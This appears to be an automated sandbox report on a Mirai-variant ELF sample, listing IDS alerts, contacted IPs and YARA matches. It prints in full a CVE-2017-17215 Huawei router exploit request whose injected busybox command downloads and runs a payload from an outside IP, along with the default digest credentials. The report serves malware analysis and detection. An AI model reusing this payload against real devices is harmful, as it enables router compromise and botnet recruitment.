ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.53.198

Timestamp:	192.168.2.2341.153.53.19845332372152835222 02/09/23-19:35:30.823623
SID:	2835222
Source Port:	45332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.130.59

Timestamp:	192.168.2.23197.192.130.5939742372152835222 02/09/23-19:36:17.835080
SID:	2835222
Source Port:	39742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.94.239

Timestamp:	192.168.2.23197.192.94.23935714372152835222 02/09/23-19:35:35.066181
SID:	2835222
Source Port:	35714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.216.130

Timestamp:	192.168.2.2341.152.216.13057968372152835222 02/09/23-19:36:01.565050
SID:	2835222
Source Port:	57968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.207.246

Timestamp:	192.168.2.2341.152.207.24649968372152835222 02/09/23-19:37:11.193353
SID:	2835222
Source Port:	49968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.94.71

Timestamp:	192.168.2.2341.152.94.7148582372152835222 02/09/23-19:37:17.613904
SID:	2835222
Source Port:	48582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.37.29

Timestamp:	192.168.2.23156.163.37.2941298372152835222 02/09/23-19:36:47.663971
SID:	2835222
Source Port:	41298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.237.30.138

Timestamp:	192.168.2.2341.237.30.13855514372152835222 02/09/23-19:36:10.948103
SID:	2835222
Source Port:	55514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.138.140

Timestamp:	192.168.2.23197.196.138.14060342372152835222 02/09/23-19:36:24.351066
SID:	2835222
Source Port:	60342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.101.194

Timestamp:	192.168.2.2331.136.101.19454674372152835222 02/09/23-19:35:46.608120
SID:	2835222
Source Port:	54674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.131.102

Timestamp:	192.168.2.23197.192.131.10242094372152835222 02/09/23-19:37:06.912290
SID:	2835222
Source Port:	42094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.193.22

Timestamp:	192.168.2.23197.194.193.2232824372152835222 02/09/23-19:37:13.479079
SID:	2835222
Source Port:	32824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.56.199

Timestamp:	192.168.2.2341.153.56.19943162372152835222 02/09/23-19:36:17.830162
SID:	2835222
Source Port:	43162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.111.37

Timestamp:	192.168.2.23156.162.111.3738194372152835222 02/09/23-19:35:22.293242
SID:	2835222
Source Port:	38194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.43.240

Timestamp:	192.168.2.23197.194.43.24057084372152835222 02/09/23-19:36:52.877673
SID:	2835222
Source Port:	57084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.55.13

Timestamp:	192.168.2.23197.195.55.1345128372152835222 02/09/23-19:37:04.712718
SID:	2835222
Source Port:	45128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 36 36 2e 32 33 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 66 75 78 69 20 2d 72 20 2f 6e 61 62 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 66 75 78 69 3b 20 2f 74 6d 70 2f 66 75 78 69 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /nabmips; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37416 -> 41.152.206.96:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38194 -> 156.162.111.37:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42846 -> 197.192.88.6:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50832 -> 197.194.145.233:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38516 -> 41.153.246.210:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50024 -> 197.192.124.238:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33616 -> 197.39.3.213:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33616 -> 41.232.8.207:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55014 -> 197.195.17.3:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45332 -> 41.153.53.198:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48620 -> 197.193.255.159:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40028 -> 80.239.200.114:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37494 -> 197.193.250.210:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39768 -> 197.194.34.57:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35714 -> 197.192.94.239:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57650 -> 197.192.24.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48410 -> 197.195.109.3:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54674 -> 31.136.101.194:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39276 -> 197.195.43.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57214 -> 197.192.84.165:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52988 -> 197.197.130.114:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40860 -> 41.36.193.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47006 -> 197.194.153.222:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48196 -> 156.162.3.21:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36998 -> 197.199.10.232:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53960 -> 197.194.217.66:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38366 -> 197.193.245.130:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57968 -> 41.152.216.130:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50640 -> 41.153.186.194:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33280 -> 197.193.202.158:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48682 -> 41.153.173.177:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34636 -> 197.194.38.230:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59412 -> 197.194.11.44:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57402 -> 41.152.69.148:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55514 -> 41.237.30.138:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34988 -> 154.204.20.72:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60220 -> 197.199.52.233:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59920 -> 197.193.215.167:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58900 -> 197.194.3.156:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44376 -> 41.153.250.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43276 -> 156.230.22.219:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46430 -> 154.203.8.111:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43162 -> 41.153.56.199:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42198 -> 41.152.175.177:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39742 -> 197.192.130.59:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47496 -> 178.135.103.66:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48038 -> 41.36.181.190:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44340 -> 197.194.188.19:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37312 -> 197.193.199.223:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45554 -> 197.193.172.252:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59082 -> 41.153.175.75:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60342 -> 197.196.138.140:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50114 -> 197.195.99.193:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50376 -> 197.192.97.224:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44496 -> 197.193.242.194:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47114 -> 197.194.229.74:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45434 -> 41.152.218.20:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34294 -> 197.193.209.57:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56844 -> 197.192.109.108:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41896 -> 197.195.52.238:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55596 -> 197.199.60.45:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44168 -> 197.214.100.84:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47858 -> 197.194.243.204:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35554 -> 197.199.47.241:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37204 -> 197.194.248.183:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53396 -> 31.136.178.81:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55516 -> 197.34.53.128:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40976 -> 197.194.157.122:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32972 -> 197.199.29.108:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51618 -> 41.153.107.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41298 -> 156.163.37.29:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45582 -> 197.195.26.28:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40866 -> 197.196.130.195:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57084 -> 197.194.43.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54600 -> 197.192.95.14:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58358 -> 41.153.216.248:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56280 -> 197.194.165.250:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57992 -> 197.196.219.166:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57920 -> 197.192.83.202:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45690 -> 197.192.129.32:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45128 -> 197.195.55.13:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57346 -> 197.195.5.167:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42094 -> 197.192.131.102:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34920 -> 197.193.49.50:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37420 -> 197.194.209.182:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57036 -> 197.194.171.91:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60920 -> 197.193.55.47:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49968 -> 41.152.207.246:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39396 -> 154.23.165.38:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40164 -> 37.72.201.92:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32824 -> 197.194.193.22:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37434 -> 197.196.153.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48582 -> 41.152.94.71:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41426 -> 197.194.148.220:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46956 -> 41.36.234.98:37215

Source: global traffic	TCP traffic: 185.254.37.236 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 41.153.158.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.88.125.149 ports 1,2,3,5,7,37215

Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 68.59.120.228
Source: unknown	TCP traffic detected without corresponding DNS query: 223.127.198.210
Source: unknown	TCP traffic detected without corresponding DNS query: 212.0.243.72
Source: unknown	TCP traffic detected without corresponding DNS query: 141.156.227.121
Source: unknown	TCP traffic detected without corresponding DNS query: 58.105.251.73
Source: unknown	TCP traffic detected without corresponding DNS query: 198.243.174.136
Source: unknown	TCP traffic detected without corresponding DNS query: 34.139.248.90
Source: unknown	TCP traffic detected without corresponding DNS query: 143.185.20.30
Source: unknown	TCP traffic detected without corresponding DNS query: 146.199.167.144
Source: unknown	TCP traffic detected without corresponding DNS query: 180.226.2.12
Source: unknown	TCP traffic detected without corresponding DNS query: 54.193.184.200
Source: unknown	TCP traffic detected without corresponding DNS query: 164.208.38.166
Source: unknown	TCP traffic detected without corresponding DNS query: 17.229.66.194
Source: unknown	TCP traffic detected without corresponding DNS query: 49.79.230.234
Source: unknown	TCP traffic detected without corresponding DNS query: 140.250.81.29
Source: unknown	TCP traffic detected without corresponding DNS query: 97.253.204.200
Source: unknown	TCP traffic detected without corresponding DNS query: 90.253.90.133
Source: unknown	TCP traffic detected without corresponding DNS query: 149.255.12.201
Source: unknown	TCP traffic detected without corresponding DNS query: 190.184.220.255
Source: unknown	TCP traffic detected without corresponding DNS query: 199.179.133.67
Source: unknown	TCP traffic detected without corresponding DNS query: 200.24.187.177
Source: unknown	TCP traffic detected without corresponding DNS query: 189.76.43.199
Source: unknown	TCP traffic detected without corresponding DNS query: 191.35.15.153
Source: unknown	TCP traffic detected without corresponding DNS query: 130.161.47.115
Source: unknown	TCP traffic detected without corresponding DNS query: 42.62.63.229
Source: unknown	TCP traffic detected without corresponding DNS query: 170.247.132.107
Source: unknown	TCP traffic detected without corresponding DNS query: 208.172.130.55
Source: unknown	TCP traffic detected without corresponding DNS query: 57.112.182.201
Source: unknown	TCP traffic detected without corresponding DNS query: 117.3.223.226
Source: unknown	TCP traffic detected without corresponding DNS query: 71.46.99.235
Source: unknown	TCP traffic detected without corresponding DNS query: 98.29.199.71
Source: unknown	TCP traffic detected without corresponding DNS query: 195.167.58.78
Source: unknown	TCP traffic detected without corresponding DNS query: 5.146.218.174
Source: unknown	TCP traffic detected without corresponding DNS query: 41.197.172.60
Source: unknown	TCP traffic detected without corresponding DNS query: 52.143.225.76
Source: unknown	TCP traffic detected without corresponding DNS query: 66.83.153.72
Source: unknown	TCP traffic detected without corresponding DNS query: 212.176.40.72
Source: unknown	TCP traffic detected without corresponding DNS query: 75.44.128.118
Source: unknown	TCP traffic detected without corresponding DNS query: 74.142.67.254
Source: unknown	TCP traffic detected without corresponding DNS query: 18.158.48.87
Source: unknown	TCP traffic detected without corresponding DNS query: 160.87.87.92
Source: unknown	TCP traffic detected without corresponding DNS query: 135.5.71.145
Source: unknown	TCP traffic detected without corresponding DNS query: 99.44.53.151
Source: unknown	TCP traffic detected without corresponding DNS query: 81.253.93.73
Source: unknown	TCP traffic detected without corresponding DNS query: 135.145.216.220
Source: unknown	TCP traffic detected without corresponding DNS query: 24.146.200.239
Source: unknown	TCP traffic detected without corresponding DNS query: 165.189.182.2
Source: unknown	TCP traffic detected without corresponding DNS query: 89.37.246.98

Source: UJA4UUHlPP.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: UJA4UUHlPP.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: UJA4UUHlPP.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)
Source: 6215.1.00007fca5c011000.00007fca5c020000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)

Source: UJA4UUHlPP.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
